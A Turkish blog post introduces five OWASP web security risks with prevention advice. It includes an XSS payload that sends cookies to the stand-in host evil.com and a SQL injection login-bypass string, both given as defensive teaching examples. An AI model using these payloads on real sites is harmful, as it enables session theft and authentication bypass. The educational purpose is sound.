Ana Sayfa/Blog/Web Güvenliği Temelleri: OWASP İlk 5 Risk

Web Güvenliği Temelleri: OWASP İlk 5 Risk

Web uygulamaları her gün milyonlarca saldırıya maruz kalır. OWASP (Open Web Application Security Project), web güvenliğindeki en kritik riskleri derleyen ve düzenli olarak güncelleyen bağımsız bir topluluktur. Bu rehberde, OWASP Top 10 listesindeki en yaygın ve tehlikeli 5 güvenlik açığını, nasıl çalıştıklarını ve nasıl önleneceğini inceliyoruz.

1. Cross-Site Scripting (XSS)

XSS, saldırganın kötü amaçlı JavaScript kodunu güvenilir bir web sitesine enjekte etmesidir. Kullanıcılar bu sayfayı ziyaret ettiğinde, enjekte edilen kod tarayıcılarında çalışır.

XSS Türleri

Örnek Saldırı

<!-- Güvenli olmayan kullanım -->
<div>Hoş geldiniz, <%= request.getParameter("name") %></div>

<!-- Saldırgan şu URL'yi oluşturur: -->
?name=<script>document.location='https://evil.com/?c='+document.cookie</script>

Korunma Yöntemleri

2. SQL Injection

SQL Injection, saldırganın uygulama aracılığıyla veritabanına zararlı SQL komutları göndermesidir. Başarılı bir saldırı, tüm veritabanını okumaya, değiştirmeye veya silmeye olanak tanır.

Örnek Saldırı

-- Güvenli olmayan sorgu
SELECT * FROM users WHERE username = '$input' AND password = '$pass';

-- Saldırgan username alanına şunu girer:
' OR '1'='1' --

-- Sonuç: Tüm kullanıcılar döner, şifre kontrolü atlanır
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = '';

Korunma Yöntemleri

// Güvenli yöntem — Prepared Statement (Node.js örneği)
const query = 'SELECT * FROM users WHERE username = $1 AND password = $2';
const result = await db.query(query, [username, hashedPassword]);

3. Cross-Site Request Forgery (CSRF)

CSRF, kullanıcının tarayıcısındaki oturum bilgisini kullanarak, kullanıcının bilgisi dışında istek göndermektir. Örneğin, bir bankacılık sitesinde oturum açıkken, kötü amaçlı bir sayfa para transferi başlatabilir.

Nasıl Çalışır?

Korunma Yöntemleri

4. Broken Authentication (Kırık Kimlik Doğrulama)

Kimlik doğrulama ve oturum yönetimindeki zayıflıklar, saldırganların başka kullanıcıların hesaplarına erişmesine olanak tanır.

Yaygın Hatalar

Korunma Yöntemleri

5. Security Misconfiguration (Güvenlik Yapılandırma Hataları)

Varsayılan ayarların değiştirilmemesi, gereksiz servislerin açık bırakılması veya hata mesajlarının detaylı bilgi vermesi gibi yapılandırma hataları çok yaygındır.

Yaygın Örnekler

Korunma Yöntemleri

Web sitenizin güvenlik başlıklarını kontrol etmek mi istiyorsunuz? SiteScripti'nin Güvenlik Başlıkları Analizi aracıyla HTTP başlıklarınızı test edin. Ayrıca Çerez Güvenlik Analizi ile çerezlerinizin güvenli yapılandırılıp yapılandırılmadığını kontrol edin.

Bu konuyla ilgili araçlarımızı da deneyin: Güvenlik Başlıkları Analiz, SSL Kontrol, Şifre Oluşturucu

← Tüm Yazılar